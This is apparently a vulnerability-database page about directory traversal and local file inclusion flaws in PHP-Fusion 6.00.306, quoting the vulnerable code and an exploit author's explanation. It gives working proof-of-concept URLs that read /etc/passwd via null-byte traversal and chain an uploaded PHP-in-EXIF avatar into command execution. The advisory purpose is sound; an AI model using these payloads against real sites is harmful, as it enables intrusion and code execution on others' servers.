[原文]Multiple directory traversal vulnerabilities in PHP-Fusion 6.00.306 allow remote attackers to include and execute arbitrary local files via (1) a .. (dot dot) in the settings[locale] parameter in infusions/last_seen_users_panel/last_seen_users_panel.php, and (2) a .. (dot dot) in the localeset parameter in setup.php. NOTE: the vendor states that this issue might exist due to problems in third party local files.

/* explaination:

   software site: http://www.php-fusion.co.uk/

   description: "a light-weight open-source content management system (CMS)
   written in PHP. It utilises a mySQL database to store your site content and
   includes a simple, comprehensive adminstration system."

   tested versions:   PHPFusion v6.00.306
                      PHPFusion v6.00.207
                      PHPFusion v6.00.110


   i) vulnerable code in includes/update_profile_include.php at lines 69-90:

   ...
   $newavatar = $_FILES['user_avatar'];
	if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
		if (preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar['name']) && $newavatar['size'] <= 30720) {
                       	$avatarext = strrchr($newavatar['name'],".");
			if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png", $avatarext)) {
				$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
				$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
				$set_avatar = "user_avatar='$avatarname', ";
				move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);
				chmod(IMAGES."avatars/".$avatarname,0644);
				if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
					if ($size['0'] > 100 || $size['1'] > 100) {
						unlink(IMAGES."avatars/".$avatarname);
						$set_avatar = "";
					}
				} else {
					unlink(IMAGES."avatars/".$avatarname);
					$set_avatar = "";
				}
			}
		}
	}
   ...

   A remote user can upload a malicious avatar with multiple extensions,
   (ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata
   content.
   It seems that Apache mod_mime module considers double-extension files like
   file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary
   code that has been uploaded. Actually I can't say which Apache versions, this
   was tested against Apache/1.3.27 with PHP/4.3.3

   A note: file is renamed like this
   .php.php[user_id].gif-fakechars-

   ii) vulnerable code in infusions/last_seen_users_panel/last_seen_users_panel.php
       at lines 12-16:

   ...
   if (file_exists(INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php")) {
	include INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php";
} else {
	include INFUSIONS."last_seen_users_panel/locale/English.php";
}
   ...

    $settings['locale'] var is not properly sanitized before to be used to
    include files so, if register_globals=on & magic_quotes_gpc=Off,
    you can include local resources, poc:

    http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=../../../../../../../../../etc/passw%00
    http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_panel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[1].jpg%00

    A note: if INFUSIONS constant is not defined, PHP will assume it as it is,
    as "INFUSIONS" string. On some system , no matters if "INFUSIONSlast_seen_users_panel/locale/........"
    path does not exist, you will go up from the non-existent dir of exactly four
    dirs to include the malicious avatar.
    This works against on 6.00.306

    iii) vulnerable code in setup.php at lines 14-15:

    ...
    $localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : "English");
    include "locale/".$localeset."/setup.php";
    ...

    if this script is not deleted after installation, if magic_quotes_gpc=Off,
    you can include files from locale resources, poc:

    http://[target]/[path]/setup.php?localeset=../../../../../../../../../../etc/passwd%00
    http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatars/suntzu[1].jpg%00

    this tool tries to exploit all theese vulnerabilities, you need a valid user
    account to upload avatars

25538
PHP-Fusion last_seen_users_panel.php settings[locale] Parameter Local File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

PHP-Fusion contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to last_seen_users_panel.php script not properly sanitizing user input supplied to the "settings[locale]" variable. This may allow an attacker to include a file from a local host that contains arbitrary commands which will be executed by the vulnerable script.
